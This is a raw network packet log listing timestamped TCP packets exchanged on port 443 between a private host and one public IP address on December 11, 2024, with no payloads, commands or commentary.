Dec 11, 2024 12:14:48.184854984 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.184947968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.185059071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.186624050 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.186631918 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.186803102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.186811924 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.186849117 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.186849117 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.186945915 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.187618971 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.187627077 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.187789917 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.187789917 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.187800884 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.187838078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.187886953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.187933922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.189310074 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.189317942 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.189466953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.189630032 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.189634085 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.189899921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.191015959 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.191024065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.191169977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.191169977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.191312075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.191318989 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.191431046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.192332029 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.192339897 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.192614079 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.192624092 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.192755938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.193478107 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.193485975 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.193634033 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.193691015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.193691015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.193695068 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.193739891 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.193835020 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.195246935 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.195255041 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.195468903 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.195468903 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.195683956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.195683956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.195683956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.195693970 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.195852041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.196896076 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.196902990 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.197051048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.197099924 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.197099924 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.197099924 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.197104931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.197151899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.197299004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.197948933 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.197956085 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.198225975 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.198225975 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.198275089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.198278904 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.198375940 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.198375940 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.198565960 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.199781895 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.199790001 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.199928045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.199928045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.199975967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.199980021 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.200025082 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.200073957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.200123072 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.201009035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.201015949 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.201195002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.201246023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.201246023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.201255083 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.201292992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.201390982 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.202800035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.202807903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.202960968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.202961922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.203011036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.203011036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.203018904 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.203056097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.203201056 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.203852892 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.203860998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.204052925 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.204052925 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.204052925 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.204062939 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.204093933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.204093933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.204189062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.205796003 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.205804110 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.206196070 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.206196070 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.206196070 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.206196070 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.206211090 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.206866980 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.207045078 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.207052946 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.207189083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.207237959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.207237959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.207242966 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.207287073 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.207340002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.207434893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.208717108 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.208724976 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.208913088 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.208913088 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.208923101 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.208961964 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.209011078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.209171057 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.209701061 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.209708929 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.209858894 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.209858894 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.209932089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.209935904 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.209981918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.210079908 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.211456060 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.211463928 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.211592913 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.211592913 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.211689949 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.211694002 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.211735964 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.211838961 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.213476896 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.213485956 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.213660955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.213660955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.213668108 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.213712931 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.213757992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.213860035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.214473963 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.214483023 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.214637041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.214637041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.214694977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.214700937 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.214710951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.214782000 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.214850903 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.216288090 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.216295958 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.216517925 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.216595888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.216600895 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.216692924 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.216742039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.216923952 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.217488050 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.217495918 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.217629910 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.217629910 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.217678070 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.217680931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.217726946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.217726946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.217874050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.219141006 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.219149113 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.219242096 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.219294071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.219494104 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.219500065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.219686985 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.369656086 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.369668961 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.369812012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.369812012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.369884968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.369889021 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.369959116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.370057106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.370982885 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.370996952 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.371150017 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.371311903 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.371316910 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.371504068 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.372023106 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.372036934 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.372155905 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.372252941 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.372252941 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.372260094 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.372451067 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.373668909 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.373682976 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.373888969 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.373888969 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.373938084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.373938084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.373946905 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.374069929 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.374720097 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.374732018 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.374926090 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.374933958 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.374973059 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.375073910 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.376454115 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.376466036 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.376590967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.376590967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.376640081 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.376642942 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.376686096 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.376686096 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.376786947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.377358913 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.377376080 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.377501011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.377501011 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.377574921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.377580881 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.377645016 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.377722025 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.379009962 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.379019976 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.379178047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.379178047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.379226923 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.379235029 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.379275084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.379275084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.379359961 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.380094051 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.380104065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.380284071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.380284071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.380284071 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.380294085 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.380332947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.380332947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.380461931 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.381757021 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.381768942 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.381896019 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.381944895 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.381944895 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.381952047 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.381994009 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.381994009 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.382137060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.382647991 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.382659912 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.382858038 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.382858038 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.382869005 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.382906914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.383001089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.384291887 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.384303093 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.384480953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.384480953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.384480953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.384480953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.384493113 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.384665966 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.384713888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.385358095 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.385369062 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.385514975 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.385514975 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.385564089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.385567904 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.385612965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.385612965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.385710001 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.386818886 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.386831999 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.386965036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.386965036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.387034893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.387041092 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.387135029 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.387186050 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.388036966 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.388046980 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.388200045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.388200045 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.388250113 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.388253927 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.388346910 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.388407946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.389667034 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.389678001 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.389823914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.389873028 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.389873028 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.389878035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.389921904 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.389923096 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.390019894 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.390346050 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.390356064 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.390594959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.390594959 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.390608072 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.390615940 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.390840054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.392045975 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.392056942 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.392744064 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.392744064 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.392744064 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.392755985 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.392791986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.392893076 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.393241882 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.393253088 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.393430948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.393430948 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.393441916 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.393479109 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.393479109 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.393573046 CET	49776	443	192.168.11.20	172.67.128.139
